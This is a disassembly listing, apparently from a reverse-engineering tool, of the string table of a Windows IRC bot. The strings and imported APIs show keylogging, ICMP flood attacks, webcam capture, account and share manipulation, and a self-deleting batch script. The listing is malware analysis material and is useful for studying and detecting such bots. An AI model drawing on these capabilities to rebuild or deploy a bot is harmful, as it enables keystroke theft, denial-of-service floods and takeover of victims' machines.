aHttpdFailedT_0	db '[HTTPD]: Failed to start worker thread, error: <%d>.',0
					; DATA XREF: sub_40528F+287o
		align 4
aHttpdWorkerThr	db '[HTTPD]: Worker thread of server thread: %d.',0
					; DATA XREF: sub_40528F+213o
		align 4
asc_4239B4:				; DATA XREF: sub_40528F+16Eo
		unicode	0, <*>,0
aS_3		db '%s',0               ; DATA XREF: sub_40528F+31o
					; sub_405D20+44o ...
		align 4
aS_8		db '\%s',0              ; DATA XREF: sub_40528F+27o
aHttpdErrorServ	db '[HTTPD]: Error: server failed, returned: <%d>.',0
					; DATA XREF: sub_405549+3E0o
		align 10h
asc_4239F0	db 0Dh,0Ah,0		; DATA XREF: sub_405549+296o
		align 4
aGet		db 'GET ',0             ; DATA XREF: sub_405549+22Do
		align 10h
aIcmpErrorSendi	db '[ICMP]: Error sending packets to IP: %s. Packets sent: %d. Return'
					; DATA XREF: sub_40598C+2F2o
		db 'ed: <%d>.',0
		align 10h
aIcmpDoneWithSF	db '[ICMP]: Done with %s flood to IP: %s. Sent: %d packet(s) @ %dKB/s'
					; DATA XREF: sub_40598C+288o
		db 'ec (%dMB).',0
aIcmpInvalidTar	db '[ICMP]: Invalid target IP.',0 ; DATA XREF: sub_40598C+B6o
		align 4
aIcmpErrorSetso	db '[ICMP]: Error: setsockopt() failed, returned: <%d>.',0
					; DATA XREF: sub_40598C+8Eo
aIcmpErrorSocke	db '[ICMP]: Error: socket() failed, returned: <%d>.',0
					; DATA XREF: sub_40598C+49o
aSSS		db '%s %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_405D20+69o
aPrivmsg	db 'PRIVMSG',0          ; DATA XREF: sub_405D20+16o
					; sub_409806+700o
aNotice		db 'NOTICE',0           ; DATA XREF: sub_405D20+Fo
					; sub_409806+70Eo
		align 4
aKeylogS	db '[KEYLOG]: %s',0     ; DATA XREF: sub_405DD1+CFo
		align 4
aDDDDDDS	db '[%d-%d-%d %d:%d:%d] %s',0Dh,0Ah,0 ; DATA XREF: sub_405DD1+A9o
		align 4
aAb		db 'ab',0               ; DATA XREF: sub_405DD1+70o
					; sub_409806+5701o
		align 4
asc_423B68:				; DATA XREF: sub_405DD1+36o
		unicode	0, <\>,0
aSReturnS	db '%s (Return) (%s)',0 ; DATA XREF: sub_405ED4+223o
		align 10h
aSBufferFullS	db '%s (Buffer full) (%s)',0 ; DATA XREF: sub_405ED4+1DAo
		align 4
aSChangedWindow	db '%s (Changed Windows: %s)',0 ; DATA XREF: sub_405ED4+8Eo
		align 4
aCapgetdriverde	db 'capGetDriverDescriptionA',0 ; DATA XREF: sub_4061D5+C50o
		align 10h
aCapcreatecaptu	db 'capCreateCaptureWindowA',0 ; DATA XREF: sub_4061D5+C48o
aAvicap32_dll	db 'avicap32.dll',0     ; DATA XREF: sub_4061D5:loc_406E10o
		align 4
aSqldisconnect	db 'SQLDisconnect',0    ; DATA XREF: sub_4061D5+BE6o
		align 4
aSqlfreehandle	db 'SQLFreeHandle',0    ; DATA XREF: sub_4061D5+BD9o
		align 4
aSqlallochandle	db 'SQLAllocHandle',0   ; DATA XREF: sub_4061D5+BCCo
		align 4
aSqlexecdirect	db 'SQLExecDirect',0    ; DATA XREF: sub_4061D5+BBFo
		align 4
aSqlsetenvattr	db 'SQLSetEnvAttr',0    ; DATA XREF: sub_4061D5+BB2o
		align 4
aSqldriverconne	db 'SQLDriverConnect',0 ; DATA XREF: sub_4061D5+BAAo
		align 4
aOdbc32_dll	db 'odbc32.dll',0       ; DATA XREF: sub_4061D5:loc_406D72o
		align 4
aShchangenotify	db 'SHChangeNotify',0   ; DATA XREF: sub_4061D5+B68o
		align 4
aShellexecutea	db 'ShellExecuteA',0    ; DATA XREF: sub_4061D5+B60o
		align 4
aShell32_dll	db 'shell32.dll',0      ; DATA XREF: sub_4061D5:loc_406D28o
aWnetcancelco_0	db 'WNetCancelConnection2W',0 ; DATA XREF: sub_4061D5+B0Eo
		align 4
aWnetcancelconn	db 'WNetCancelConnection2A',0 ; DATA XREF: sub_4061D5+B01o
		align 4
aWnetaddconne_0	db 'WNetAddConnection2W',0 ; DATA XREF: sub_4061D5+AF4o
aWnetaddconnect	db 'WNetAddConnection2A',0 ; DATA XREF: sub_4061D5+AECo
aMpr_dll	db 'mpr.dll',0          ; DATA XREF: sub_4061D5:loc_406CB4o
aDeleteipnetent	db 'DeleteIpNetEntry',0 ; DATA XREF: sub_4061D5+AAAo
		align 4
aGetipnettable	db 'GetIpNetTable',0    ; DATA XREF: sub_4061D5+AA2o
		align 4
aIphlpapi_dll	db 'iphlpapi.dll',0     ; DATA XREF: sub_4061D5:loc_406C6Ao
		align 4
aDnsflushreso_0	db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_4061D5+A60o
		align 4
aDnsflushresolv	db 'DnsFlushResolverCache',0 ; DATA XREF: sub_4061D5+A58o
		align 10h
aDnsapi_dll	db 'dnsapi.dll',0       ; DATA XREF: sub_4061D5:loc_406C20o
		align 4
aNetmessagebuff	db 'NetMessageBufferSend',0 ; DATA XREF: sub_4061D5+9CEo
		align 4
aNetusergetinfo	db 'NetUserGetInfo',0   ; DATA XREF: sub_4061D5+9C1o
		align 4
aNetuserenum	db 'NetUserEnum',0      ; DATA XREF: sub_4061D5+9B4o
aNetuserdel	db 'NetUserDel',0       ; DATA XREF: sub_4061D5+9A7o
		align 4
aNetuseradd	db 'NetUserAdd',0       ; DATA XREF: sub_4061D5+99Ao
		align 4
aNetremotetod	db 'NetRemoteTOD',0     ; DATA XREF: sub_4061D5+98Do
		align 4
aNetapibufferfr	db 'NetApiBufferFree',0 ; DATA XREF: sub_4061D5+980o
		align 4
aNetschedulejob	db 'NetScheduleJobAdd',0 ; DATA XREF: sub_4061D5+973o
		align 10h
aNetshareenum	db 'NetShareEnum',0     ; DATA XREF: sub_4061D5+966o
		align 10h
aNetsharedel	db 'NetShareDel',0      ; DATA XREF: sub_4061D5+959o
aNetshareadd	db 'NetShareAdd',0      ; DATA XREF: sub_4061D5+951o
aNetapi32_dll	db 'netapi32.dll',0     ; DATA XREF: sub_4061D5:loc_406B15o
		align 4
aIcmpsendecho	db 'IcmpSendEcho',0     ; DATA XREF: sub_4061D5+903o
		align 4
aIcmpclosehandl	db 'IcmpCloseHandle',0  ; DATA XREF: sub_4061D5+8F6o
aIcmpcreatefile	db 'IcmpCreateFile',0   ; DATA XREF: sub_4061D5+8EEo
		align 4
aIcmp_dll	db 'icmp.dll',0         ; DATA XREF: sub_4061D5:loc_406AB6o
		align 4
aMozilla4_0Comp	db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_4061D5+8B4o
		align 10h
aInternetcloseh	db 'InternetCloseHandle',0 ; DATA XREF: sub_4061D5+842o
aInternetreadfi	db 'InternetReadFile',0 ; DATA XREF: sub_4061D5+835o
		align 4
aInternetcracku	db 'InternetCrackUrlA',0 ; DATA XREF: sub_4061D5+828o
		align 4
aInternetopenur	db 'InternetOpenUrlA',0 ; DATA XREF: sub_4061D5+81Bo
		align 10h
aInternetopena	db 'InternetOpenA',0    ; DATA XREF: sub_4061D5+80Eo
		align 10h
aInternetconnec	db 'InternetConnectA',0 ; DATA XREF: sub_4061D5+801o
		align 4
aHttpsendreques	db 'HttpSendRequestA',0 ; DATA XREF: sub_4061D5+7F4o
		align 4
aHttpopenreques	db 'HttpOpenRequestA',0 ; DATA XREF: sub_4061D5+7E7o
		align 4
aInternetgetc_0	db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_4061D5+7DAo
aInternetgetcon	db 'InternetGetConnectedState',0 ; DATA XREF: sub_4061D5+7D2o
		align 4
aWininet_dll	db 'wininet.dll',0      ; DATA XREF: sub_4061D5:loc_406996o
aClosesocket	db 'closesocket',0      ; DATA XREF: sub_4061D5+688o
aGetpeername	db 'getpeername',0      ; DATA XREF: sub_4061D5+67Bo
aGethostbyaddr	db 'gethostbyaddr',0    ; DATA XREF: sub_4061D5+66Eo
		align 4
aGethostbyname	db 'gethostbyname',0    ; DATA XREF: sub_4061D5+661o
		align 4
aGethostname	db 'gethostname',0      ; DATA XREF: sub_4061D5+654o
aGetsockname	db 'getsockname',0      ; DATA XREF: sub_4061D5+647o
aSetsockopt	db 'setsockopt',0       ; DATA XREF: sub_4061D5+63Ao
		align 4
aAccept		db 'accept',0           ; DATA XREF: sub_4061D5+62Do
		align 4
aListen		db 'listen',0           ; DATA XREF: sub_4061D5+620o
		align 4
aSelect		db 'select',0           ; DATA XREF: sub_4061D5+613o
		align 4
aBind		db 'bind',0             ; DATA XREF: sub_4061D5+60Bo
		align 4
aRecvfrom	db 'recvfrom',0         ; DATA XREF: sub_4061D5+5F9o
		align 4
aRecv		db 'recv',0             ; DATA XREF: sub_4061D5+5ECo
		align 10h
aSendto		db 'sendto',0           ; DATA XREF: sub_4061D5+5DFo
		align 4
aSend		db 'send',0             ; DATA XREF: sub_4061D5+5D2o
					; sub_409806+20C5o
		align 10h
aNtohl		db 'ntohl',0            ; DATA XREF: sub_4061D5+5C5o
		align 4
aNtohs		db 'ntohs',0            ; DATA XREF: sub_4061D5+5B8o
		align 10h
aHtonl		db 'htonl',0            ; DATA XREF: sub_4061D5+5ABo
		align 4
aHtons		db 'htons',0            ; DATA XREF: sub_4061D5+59Eo
		align 10h
aInet_addr	db 'inet_addr',0        ; DATA XREF: sub_4061D5+591o
		align 4
aInet_ntoa	db 'inet_ntoa',0        ; DATA XREF: sub_4061D5+584o
		align 4
aConnect	db 'connect',0          ; DATA XREF: sub_4061D5+577o
aIoctlsocket	db 'ioctlsocket',0      ; DATA XREF: sub_4061D5+56Ao
aSocket		db 'socket',0           ; DATA XREF: sub_4061D5+55Do
		align 4
aWsacleanup	db 'WSACleanup',0       ; DATA XREF: sub_4061D5+550o
		align 10h
aWsagetlasterro	db 'WSAGetLastError',0  ; DATA XREF: sub_4061D5+543o
aWsaioctl	db 'WSAIoctl',0         ; DATA XREF: sub_4061D5+536o
		align 4
a__wsafdisset	db '__WSAFDIsSet',0     ; DATA XREF: sub_4061D5+529o
		align 4
aWsaasyncselect	db 'WSAAsyncSelect',0   ; DATA XREF: sub_4061D5+51Co
		align 4
aWsasocketa	db 'WSASocketA',0       ; DATA XREF: sub_4061D5+50Fo
		align 4
aWsastartup	db 'WSAStartup',0       ; DATA XREF: sub_4061D5+507o
		align 4
aWs2_32_dll	db 'ws2_32.dll',0       ; DATA XREF: sub_4061D5+4F6o
		align 10h
aDeleteobject	db 'DeleteObject',0     ; DATA XREF: sub_4061D5+483o
		align 10h
aDeletedc	db 'DeleteDC',0         ; DATA XREF: sub_4061D5+476o
		align 4
aBitblt		db 'BitBlt',0           ; DATA XREF: sub_4061D5+469o
		align 4
aSelectobject	db 'SelectObject',0     ; DATA XREF: sub_4061D5+45Co
		align 4
aGetdibcolortab	db 'GetDIBColorTable',0 ; DATA XREF: sub_4061D5+44Fo
		align 4
aGetdevicecaps	db 'GetDeviceCaps',0    ; DATA XREF: sub_4061D5+442o
		align 4
aCreatecompatib	db 'CreateCompatibleDC',0 ; DATA XREF: sub_4061D5+435o
		align 4
aCreatedibsecti	db 'CreateDIBSection',0 ; DATA XREF: sub_4061D5+428o
		align 10h
aCreatedca	db 'CreateDCA',0        ; DATA XREF: sub_4061D5+420o
		align 4
aGdi32_dll	db 'gdi32.dll',0        ; DATA XREF: sub_4061D5:loc_4065E4o
		align 4
aGetusernamea	db 'GetUserNameA',0     ; DATA XREF: sub_4061D5:loc_4065BCo
		align 4
aIsvalidsecurit	db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_4061D5+38Fo
		align 4
aEnumservicesst	db 'EnumServicesStatusA',0 ; DATA XREF: sub_4061D5+382o
aCloseserviceha	db 'CloseServiceHandle',0 ; DATA XREF: sub_4061D5+375o
		align 4
aDeleteservice	db 'DeleteService',0    ; DATA XREF: sub_4061D5+368o
		align 4
aControlservice	db 'ControlService',0   ; DATA XREF: sub_4061D5+35Bo
		align 4
aStartservicea	db 'StartServiceA',0    ; DATA XREF: sub_4061D5+34Eo
		align 4
aOpenservicea	db 'OpenServiceA',0     ; DATA XREF: sub_4061D5+341o
		align 4
aOpenscmanagera	db 'OpenSCManagerA',0   ; DATA XREF: sub_4061D5:loc_40650Eo
		align 4
aAdjusttokenpri	db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_4061D5+309o
		align 4
aLookupprivileg	db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_4061D5+2FCo
		align 4
aOpenprocesstok	db 'OpenProcessToken',0 ; DATA XREF: sub_4061D5:loc_4064C9o
		align 10h
aRegclosekey	db 'RegCloseKey',0      ; DATA XREF: sub_4061D5+2ACo
aRegdeletevalue	db 'RegDeleteValueA',0  ; DATA XREF: sub_4061D5+29Fo
aRegqueryvaluee	db 'RegQueryValueExA',0 ; DATA XREF: sub_4061D5+292o
		align 10h
aRegsetvalueexa	db 'RegSetValueExA',0   ; DATA XREF: sub_4061D5+285o
		align 10h
aRegcreatekeyex	db 'RegCreateKeyExA',0  ; DATA XREF: sub_4061D5+278o
aRegopenkeyexa	db 'RegOpenKeyExA',0    ; DATA XREF: sub_4061D5+270o
		align 10h
aAdvapi32_dll	db 'advapi32.dll',0     ; DATA XREF: sub_4061D5:loc_406434o
		align 10h
aGetforegroundw	db 'GetForegroundWindow',0 ; DATA XREF: sub_4061D5+21Ao
aGetwindowtexta	db 'GetWindowTextA',0   ; DATA XREF: sub_4061D5+20Do
		align 4
aGetkeystate	db 'GetKeyState',0      ; DATA XREF: sub_4061D5+200o
aGetasynckeysta	db 'GetAsyncKeyState',0 ; DATA XREF: sub_4061D5:loc_4063CDo
		align 4
aExitwindowsex	db 'ExitWindowsEx',0    ; DATA XREF: sub_4061D5+1A0o
		align 4
aCloseclipboard	db 'CloseClipboard',0   ; DATA XREF: sub_4061D5+193o
		align 4
aGetclipboardda	db 'GetClipboardData',0 ; DATA XREF: sub_4061D5+186o
		align 4
aOpenclipboard	db 'OpenClipboard',0    ; DATA XREF: sub_4061D5+179o
		align 4
aDestroywindow	db 'DestroyWindow',0    ; DATA XREF: sub_4061D5+16Co
		align 4
aIswindow	db 'IsWindow',0         ; DATA XREF: sub_4061D5+15Fo
		align 4
aFindwindowa	db 'FindWindowA',0      ; DATA XREF: sub_4061D5+152o
aSendmessagea	db 'SendMessageA',0     ; DATA XREF: sub_4061D5+14Ao
		align 10h
aUser32_dll	db 'user32.dll',0       ; DATA XREF: sub_4061D5:loc_40630Ao
					; sub_42077B+13o
		align 4
aRegisterservic	db 'RegisterServiceProcess',0 ; DATA XREF: sub_4061D5:loc_4062DDo
		align 4
aQueryperform_0	db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_4061D5+A0o
		align 10h
aQueryperforman	db 'QueryPerformanceCounter',0 ; DATA XREF: sub_4061D5+93o
aSearchpatha	db 'SearchPathA',0      ; DATA XREF: sub_4061D5+86o
aGetdrivetypea	db 'GetDriveTypeA',0    ; DATA XREF: sub_4061D5+79o
		align 4
aGetlogicaldriv	db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_4061D5+6Co
aGetdiskfreespa	db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_4061D5+5Fo
aModule32first	db 'Module32First',0    ; DATA XREF: sub_4061D5+52o
		align 10h
aProcess32next	db 'Process32Next',0    ; DATA XREF: sub_4061D5+45o
		align 10h
aProcess32first	db 'Process32First',0   ; DATA XREF: sub_4061D5+38o
		align 10h
aCreatetoolhelp	db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_4061D5+2Bo
		align 4
aSeterrormode	db 'SetErrorMode',0     ; DATA XREF: sub_4061D5+23o
		align 4
aKernel32_dll	db 'kernel32.dll',0     ; DATA XREF: sub_4061D5+Ao
					; sub_41EF60+1Eo
		align 4
aMainDllTestCom	db '[MAIN]: DLL test complete.',0 ; DATA XREF: sub_406E62+2F2o
		align 4
aAvicap32_dllFa	db 'Avicap32.dll failed. <%d>',0 ; DATA XREF: sub_406E62+2CCo
		align 4
aOdbc32_dllFail	db 'Odbc32.dll failed. <%d>',0 ; DATA XREF: sub_406E62+298o
aShell32_dllFai	db 'Shell32.dll failed. <%d>',0 ; DATA XREF: sub_406E62+264o
		align 4
aMpr32_dllFaile	db 'Mpr32.dll failed. <%d>',0 ; DATA XREF: sub_406E62+230o
		align 10h
aIphlpapi_dllFa	db 'Iphlpapi.dll failed. <%d>',0 ; DATA XREF: sub_406E62+1FCo
		align 4
aDnsapi_dllFail	db 'Dnsapi.dll failed. <%d>',0 ; DATA XREF: sub_406E62+1C8o
aNetapi32_dllFa	db 'Netapi32.dll failed. <%d>',0 ; DATA XREF: sub_406E62+194o
		align 10h
aIcmp_dllFailed	db 'Icmp.dll failed. <%d>',0 ; DATA XREF: sub_406E62+160o
		align 4
aWininet_dllFai	db 'Wininet.dll failed. <%d>',0 ; DATA XREF: sub_406E62+12Co
		align 4
aWs2_32_dllFail	db 'Ws2_32.dll failed. <%d>',0 ; DATA XREF: sub_406E62+F8o
aGdi32_dllFaile	db 'Gdi32.dll failed. <%d>',0 ; DATA XREF: sub_406E62+C4o
		align 4
aAdvapi32_dllFa	db 'Advapi32.dll failed. <%d>',0 ; DATA XREF: sub_406E62+90o
		align 10h
aUser32_dllFail	db 'User32.dll failed. <%d>',0 ; DATA XREF: sub_406E62+5Co
aKernel32_dllFa	db 'Kernel32.dll failed. <%d>',0 ; DATA XREF: sub_406E62+28o
		align 4
aSErrorSD_	db '%s Error: %s <%d>.',0 ; DATA XREF: sub_407327+72o
		align 4
aMirc_0		db 'mIRC',0             ; DATA XREF: sub_4073EC+6o
					; sub_410FF6+18o
		align 10h
aExplorer_exe	db 'explorer.exe',0     ; DATA XREF: sub_40746E+1Ao
		align 10h
aSeshutdownpriv	db 'SeShutdownPrivilege',0 ; DATA XREF: sub_407512+2o
aComspecCSS	db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_407534+13Co
		align 10h
a@echoOffRepeat	db '@echo off',0Dh,0Ah  ; DATA XREF: sub_407534+80o
		db ':repeat',0Dh,0Ah
		db 'del "%%1"',0Dh,0Ah
		db 'if exist "%%1" goto repeat',0Dh,0Ah
		db 'del "%s"',0
aSdel_bat	db '%sdel.bat',0        ; DATA XREF: sub_407534+43o
		align 10h
aContinued	db 'Continued',0
		align 4
aContinue_0	db 'Continue',0
		align 4
aPaused		db 'Paused',0
		align 10h
aPause_0	db 'Pause',0
		align 4
aStopped_0	db 'Stopped',0          ; DATA XREF: .text:0042ED3Co
aStop_0		db 'Stop',0             ; DATA XREF: .text:0042ED38o
		align 4
aStarted	db 'Started',0          ; DATA XREF: .text:0042ED30o
aStart_0	db 'Start',0            ; DATA XREF: .text:0042ED2Co
		align 4
aListed		db 'Listed',0           ; DATA XREF: .text:0042ED24o
		align 10h
aList_1		db 'List',0             ; DATA XREF: .text:0042ED20o
		align 4
aDeleted	db 'Deleted',0          ; DATA XREF: .text:0042ED18o
aDelete_0	db 'Delete',0           ; DATA XREF: .text:0042ED14o
		align 4
aAdded		db 'Added',0            ; DATA XREF: .text:off_42ED0Co
		align 10h
aAdd		db 'Add',0              ; DATA XREF: .text:off_42ED08o
aAnUnknownErr_0	db 'An unknown error occurred: <%ld>',0 ; DATA XREF: sub_40786A+128o
		align 4
aTheSystemIsShu	db 'The system is shutting down.',0 ; DATA XREF: sub_40786A:loc_40797Eo
		align 4
aTheServiceHasN	db 'The service has not been started.',0 ; DATA XREF: sub_40786A:loc_407977o
		align 10h
aTheRequested_1	db 'The requested control code cannot be sent to the service because '
					; DATA XREF: sub_40786A:loc_407970o
		db 'the state of the service.',0
		align 4
aTheServiceHa_0	db 'The service has been marked for deletion.',0
					; DATA XREF: sub_40786A:loc_407969o
		align 4
aTheServiceCoul	db 'The service could not be logged on. The account does not have the'
					; DATA XREF: sub_40786A:loc_407962o
		db ' correct access rights.',0
		align 4
aTheSpecified_0	db 'The specified service does not exist.',0
					; DATA XREF: sub_40786A:loc_40795Bo
		align 4
aTheServiceHasB	db 'The service has been disabled.',0 ; DATA XREF: sub_40786A:loc_407954o
		align 10h
aTheServiceDe_0	db 'The service depends on another service that has failed to start.',0
					; DATA XREF: sub_40786A:loc_40794Do
		align 8
aTheServiceDepe	db 'The service depends on a service that does not exist or has been '
					; DATA XREF: sub_40786A:loc_407946o
		db 'marked for deletion.',0
		align 10h
aTheSpecifiedDa	db 'The specified database does not exist.',0
					; DATA XREF: sub_40786A:loc_40793Fo
		align 4
aAnInstanceOfTh	db 'An instance of the service is already running.',0
					; DATA XREF: sub_40786A:loc_407914o
		align 4
aTheRequested_0	db 'The requested control code is not valid, or it is unacceptable to'
					; DATA XREF: sub_40786A:loc_40790Do
		db ' the service.',0
		align 4
aTheProcessForT	db 'The process for the service was started, but it did not call Star'
					; DATA XREF: sub_40786A:loc_407906o
		db 'tServiceCtrlDispatcher.',0
		align 4
aAThreadCouldNo	db 'A thread could not be created for the service.',0
					; DATA XREF: sub_40786A:loc_4078FFo
		align 4
aTheDatabaseIsL	db 'The database is locked.',0 ; DATA XREF: sub_40786A+8Bo
		align 10h
aTheServiceCann	db 'The service cannot be stopped because other running services are '
					; DATA XREF: sub_40786A:loc_4078D4o
		db 'dependent on it.',0
		align 4
aTheServiceBina	db 'The service binary file could not be found.',0
					; DATA XREF: sub_40786A:loc_4078CAo
aTheHandleDoesN	db 'The handle does not have the required access right.',0
					; DATA XREF: sub_40786A:loc_4078C0o
aTheHandleIsInv	db 'The handle is invalid.',0 ; DATA XREF: sub_40786A:loc_4078B6o
		align 4
aTheRequestedCo	db 'The requested control code is undefined.',0
					; DATA XREF: sub_40786A:loc_4078ACo
		align 4
aTheSpecifiedSe	db 'The specified service name is invalid.',0 ; DATA XREF: sub_40786A+38o
		align 10h
aSSS_0		db '%s: %s (%s)',0      ; DATA XREF: sub_4079E4+EEo
aStopped	db '    Stopped',0      ; DATA XREF: sub_4079E4:loc_407AB3o
aStarting	db '   Starting',0      ; DATA XREF: sub_4079E4:loc_407AACo
aStoping	db '    Stoping',0      ; DATA XREF: sub_4079E4:loc_407AA5o
aRunning	db '    Running',0      ; DATA XREF: sub_4079E4:loc_407A9Eo
aContinuing	db ' Continuing',0      ; DATA XREF: sub_4079E4:loc_407A97o
aPausing	db '    Pausing',0      ; DATA XREF: sub_4079E4:loc_407A90o
aPaused_0	db '     Paused',0      ; DATA XREF: sub_4079E4:loc_407A89o
aUnknown_0	db '    Unknown',0      ; DATA XREF: sub_4079E4+9Eo
aTheFollowingWi	db 'The following Windows services are registered:',0
					; DATA XREF: sub_4079E4+25o
		align 4
aNetUserInfoErr	db '[NET]: User info error: <%ld>',0 ; DATA XREF: sub_407CEF+394o
		align 4
aUnitsPerWeekD	db 'Units Per Week: %d',0 ; DATA XREF: sub_407CEF+36Ao
		align 10h
aMax_StorageD	db 'Max. Storage: %d',0 ; DATA XREF: sub_407CEF+33Fo
		align 4
aUserSLanguageD	db 'User',27h,'s Language: %d',0 ; DATA XREF: sub_407CEF+317o
aCountryCodeD	db 'Country Code: %d',0 ; DATA XREF: sub_407CEF+2ECo
		align 4
aWorkstationsS	db 'Workstations: %S',0 ; DATA XREF: sub_407CEF+2C4o
		align 10h
aLogonServerS	db 'Logon Server: %S',0 ; DATA XREF: sub_407CEF+299o
		align 4
aLastLogoffD	db 'Last Logoff: %d',0  ; DATA XREF: sub_407CEF+271o
aLastLogonD	db 'Last Logon: %d',0   ; DATA XREF: sub_407CEF+246o
		align 4
aNumberOfLogins	db 'Number of Logins: %d',0 ; DATA XREF: sub_407CEF+21Eo
		align 4
aBadPasswordCou	db 'Bad Password Count: %d',0 ; DATA XREF: sub_407CEF+1F3o
		align 4
aPasswordAgeD	db 'Password Age: %d',0 ; DATA XREF: sub_407CEF+1CBo
		align 4
aParametersS	db 'Parameters: %S',0   ; DATA XREF: sub_407CEF+1A0o
		align 4
aHomeDirectoryS	db 'Home Directory: %S',0 ; DATA XREF: sub_407CEF+178o
		align 4
aAuthFlagsD	db 'Auth Flags: %d',0   ; DATA XREF: sub_407CEF+14Do
		align 4
aPrivilegeLevel	db 'Privilege Level: %s',0 ; DATA XREF: sub_407CEF+125o
aGuest		db 'Guest',0            ; DATA XREF: sub_407CEF:loc_407E08o
		align 4
aUser_1		db 'User',0             ; DATA XREF: sub_407CEF:loc_407E01o
		align 10h
aAdministrator	db 'Administrator',0    ; DATA XREF: sub_407CEF:loc_407DFAo
		align 10h
aCommentS	db 'Comment: %S',0      ; DATA XREF: sub_407CEF+D4o
aUserCommentS	db 'User Comment: %S',0 ; DATA XREF: sub_407CEF+ACo
		align 10h
aFullNameS	db 'Full Name: %S',0    ; DATA XREF: sub_407CEF+81o
		align 10h
aAccountS	db 'Account: %S',0      ; DATA XREF: sub_407CEF+50o
aNetworkConnect	db 'Network connection not found.',0 ; DATA XREF: sub_4080BD:loc_4081D6o
		align 4
aTheUserNameCou	db 'The user name could not be found.',0 ; DATA XREF: sub_4080BD:loc_4081CFo
		align 10h
aShareNotFound_	db 'Share not found.',0 ; DATA XREF: sub_4080BD:loc_4081C8o
		align 4
aTheComputerNam	db 'The computer name is invalid.',0 ; DATA XREF: sub_4080BD:loc_4081C1o
		align 4
aAnUnknownError	db 'An unknown error occurred.',0 ; DATA XREF: sub_4080BD:loc_4081BAo
		align 10h
aThePasswordIsS	db 'The password is shorter than required (or does not meet the passw'
					; DATA XREF: sub_4080BD:loc_40819Do
		db 'ord policy requirement.)',0
		align 4
aTheGroupAlread	db 'The group already exists.',0 ; DATA XREF: sub_4080BD:loc_408196o
		align 4
aTheUserAccount	db 'The user account already exists.',0 ; DATA XREF: sub_4080BD:loc_40818Fo
		align 10h
aTheOperationIs	db 'The operation is allowed only on the primary domain controller of'
					; DATA XREF: sub_4080BD+CBo
		db ' the domain.',0
		align 10h
aAGeneralFailur	db 'A general failure occurred in the network hardware.',0
					; DATA XREF: sub_4080BD:loc_408164o
aLevelParameter	db 'Level parameter is invalid.',0 ; DATA XREF: sub_4080BD:loc_40815Do
aDeviceOrDirect	db 'Device or directory does not exist.',0
					; DATA XREF: sub_4080BD:loc_408156o
aInvalidForRedi	db 'Invalid for redirected resource.',0 ; DATA XREF: sub_4080BD:loc_40814Co
		align 4
aDuplicateShare	db 'Duplicate share name.',0 ; DATA XREF: sub_4080BD+85o
		align 10h
aTheNameIsInval	db 'The name is invalid.',0 ; DATA XREF: sub_4080BD:loc_408126o
		align 4
aAccessDenied_	db 'Access denied.',0   ; DATA XREF: sub_4080BD:loc_40811Co
		align 4
aNotEnoughMemor	db 'Not enough memory.',0 ; DATA XREF: sub_4080BD:loc_408112o
		align 4
aThisNetworkReq	db 'This network request is not supported.',0
					; DATA XREF: sub_4080BD:loc_408108o
		align 4
aServerNameNotF	db 'Server name not found.',0 ; DATA XREF: sub_4080BD:loc_4080FEo
		align 4
aInvalidParamet	db 'Invalid parameter.',0 ; DATA XREF: sub_4080BD+37o
		align 10h
aNetSServerSMes	db '[NET]: %s <Server: %S> <Message: %S>',0 ; DATA XREF: sub_4081ED+A4o
		align 4
aNetMessageSent	db '[NET]: Message sent successfully.',0 ; DATA XREF: sub_4081ED+7Co
		align 4
aNetSNoServiceS	db '[NET]: %s: No service specified.',0 ; DATA XREF: sub_4082A9+65o
		align 10h
aNetErrorWithSe	db '[NET]: Error with service: ',27h,'%s',27h,'. %s',0
					; DATA XREF: sub_4082A9+4Fo
aNetSServiceS_	db '[NET]: %s service: ',27h,'%s',27h,'.',0 ; DATA XREF: sub_4082A9+33o
		align 10h
aNetSNoShareSpe	db '[NET]: %s: No share specified.',0 ; DATA XREF: sub_408321+AAo
		align 10h
aNetSShareS_	db '[NET]: %s share: ',27h,'%s',27h,'.',0 ; DATA XREF: sub_408321+88o
		align 4
aNetSErrorWithS	db '[NET]: %s: Error with share: ',27h,'%s',27h,'. %s',0
					; DATA XREF: sub_408321+56o
		align 10h
a14s24s6u4s	db '%-14S %-24S %-6u %-4s',0 ; DATA XREF: sub_4083DF+CEo
		align 4
aNo		db 'No',0               ; DATA XREF: sub_4083DF+BAo
		align 4
aYes		db 'Yes',0              ; DATA XREF: sub_4083DF+B3o
aNetShareListEr	db '[NET]: Share list error: %s <%ld>',0 ; DATA XREF: sub_4083DF+74o
		align 4
aShareNameResou	db 'Share name:    Resource:                Uses:  Desc:',0
					; DATA XREF: sub_4083DF+1Do
		align 4
aNetSNoUsername	db '[NET]: %s: No username specified.',0 ; DATA XREF: sub_4084FE+B5o
		align 10h
aNetSErrorWithU	db '[NET]: %s: Error with username: ',27h,'%s',27h,'. %s',0
					; DATA XREF: sub_4084FE+93o
		align 4
aNetSUsernameS_	db '[NET]: %s username: ',27h,'%s',27h,'.',0 ; DATA XREF: sub_4084FE+6Do
		align 4
aTotalUsersFoun	db 'Total users found: %d.',0 ; DATA XREF: sub_4085C8+144o
		align 10h
aNetAnAccessVio	db '[NET]: An access violation has occured.',0
					; DATA XREF: sub_4085C8:loc_4086B3o
aS_4		db '  %S',0             ; DATA XREF: sub_4085C8+B8o
		align 10h
aNetUserListErr	db '[NET]: User list error: %s <%ld>',0 ; DATA XREF: sub_4085C8+78o
		align 4
aUsernameAccoun	db 'Username accounts for local system:',0 ; DATA XREF: sub_4085C8+1Fo
aFlushdnsNotSup	db '[FLUSHDNS]: Not supported by this system.',0
					; DATA XREF: sub_408774:loc_40884Bo
		align 4
aFlushdnsUnable	db '[FLUSHDNS]: Unable to allocation ARP cache.',0
					; DATA XREF: sub_408774:loc_40881Co
aFlushdnsArpCac	db '[FLUSHDNS]: ARP cache is empty.',0 ; DATA XREF: sub_408774:loc_4087C8o
aFlushdnsErrorG	db '[FLUSHDNS]: Error getting ARP cache: <%d>.',0
